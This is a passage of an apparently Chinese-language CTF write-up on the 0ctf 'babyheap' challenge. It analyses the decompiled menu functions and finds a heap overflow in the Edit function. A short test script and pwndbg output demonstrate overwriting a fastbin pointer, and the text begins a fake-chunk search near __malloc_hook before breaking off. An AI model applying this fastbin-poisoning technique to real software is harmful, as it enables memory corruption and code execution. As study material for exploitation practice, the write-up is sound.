pwndbg> checksec
[*] '/mnt/hgfs/CTF/nightmare-master/modules/28-fastbin_attack/0ctf_babyheap/0ctfbabyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保护全开
pwndbg> r
Starting program: /mnt/hgfs/CTF/nightmare-master/modules/28-fastbin_attack/0ctf_babyheap/0ctfbabyheap
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command:
是菜单程序:1申请,2编辑,3释放,4读取
主程序:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v4; // [rsp+8h] [rbp-8h]
v4 = sub_55E213200B70(a1, a2, a3);
while ( 1 )
{
menu();
switch ( getNum() )
{
case 1LL:
Add(v4);
break;
case 2LL:
Edit(v4);
break;
case 3LL:
Free(v4);
break;
case 4LL:
Show(v4);
break;
case 5LL:
return 0LL;
default:
continue;
}
}
}
Add函数:
void __fastcall Add(__int64 a1)
{
int i; // [rsp+10h] [rbp-10h]
int size; // [rsp+14h] [rbp-Ch]
void *memPtr; // [rsp+18h] [rbp-8h]
for ( i = 0; i <= 15; ++i )
{
if ( !*(_DWORD *)(24LL * i + a1) )
{
printf("Size: ");
size = getNum();
if ( size > 0 )
{
if ( size > 4096 )
size = 4096;
memPtr = calloc(size, 1uLL); // calloc will clear mem
if ( !memPtr )
exit(-1);
*(_DWORD *)(24LL * i + a1) = 1; // this is a struct
*(_QWORD *)(a1 + 24LL * i + 8) = size;
*(_QWORD *)(a1 + 24LL * i + 16) = memPtr;
printf("Allocate Index %d\n", (unsigned int)i);
}
return;
}
}
}
这里貌似用了一个结构来保存申请的信息,创建一下:
00000000 MemInfo struc ; (sizeof=0x18, mappedto_18)
00000000 isEnable dq ?
00000008 size dq ?
00000010 memPtr dq ?
00000018 MemInfo ends
Edit函数:
__int64 __fastcall Edit(MemInfo *a1)
{
__int64 buf; // rax
int index_; // [rsp+18h] [rbp-8h]
int size; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
buf = getNum();
index_ = buf;
if ( (unsigned int)buf <= 0xF ) // max chunk count = 16
{
buf = LODWORD(a1[(int)buf].isEnable); // get index
if ( (_DWORD)buf == 1 ) // 1 represent enable
{
printf("Size: ");
buf = getNum();
size = buf;
if ( (int)buf > 0 )
{
printf("Content: ");
return call_Read2(a1[index_].memPtr, size);
}
}
}
return buf;
}
找到对应的chunk,然后向其中读取内容
Free函数:
__int64 __fastcall Free(MemInfo *a1)
{
__int64 result; // rax
int index; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = getNum();
index = result;
if ( (unsigned int)result <= 0xF )
{
result = LODWORD(a1[(int)result].isEnable);
if ( (_DWORD)result == 1 )
{
LODWORD(a1[index].isEnable) = 0; // set 0
a1[index].size = 0LL; // set size = 0
free((void *)a1[index].memPtr); // free mem
result = (__int64)&a1[index]; // clear value
*(_QWORD *)(result + 16) = 0LL;
}
}
return result;
}
Show函数:
unsigned int __fastcall Show(MemInfo *a1)
{
unsigned int result; // eax
unsigned int v2; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = getNum();
v2 = result;
if ( result <= 0xF )
{
result = a1[result].isEnable;
if ( result == 1 )
{
puts("Content: ");
call_Write(a1[v2].memPtr, a1[v2].size);
return puts(byte_55E2132014F1);
}
}
return result;
}
可用性通过数组成员的值和其标志位来确认,不存在UAF
Edit函数编辑的时候检查的大小来自用户输入,存在溢出问题
这里虽然有数组来保存申请的地址信息,但是PIE的存在,让unlink技术难度很高
这里有一个思路就是,通过溢出,去修改fastbin chunk的指针,测试一下:
chunk1 = add(24)
chunk2 = add(24)
chunk3 = add(24)
free(chunk3)
free(chunk2)
edit(chunk1,24+0x10,b'a'*24 + pack(0x21) + pack(0xdeadbeef))
效果:可行
pwndbg> vis
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.
0x563e52224000 0x0000000000000000 0x0000000000000021 ........!.......
0x563e52224010 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x563e52224020 0x6161616161616161 0x0000000000000021 aaaaaaaa!....... <-- fastbins[0x20][0]
0x563e52224030 0x00000000deadbeef 0x0000000000000000 ................
0x563e52224040 0x0000000000000000 0x0000000000000021 ........!.......
0x563e52224050 0x0000000000000000 0x0000000000000000 ................
0x563e52224060 0x0000000000000000 0x0000000000020fa1 ................ <-- Top chunk
可以通过这种方式去修改fastbin的指针,然后去寻找可用的fake chunk申请内存:
pwndbg> find_fake_fast &__malloc_hook
global_max_fast symbol not found, using the default value: 0x80
Use `set global-max-fast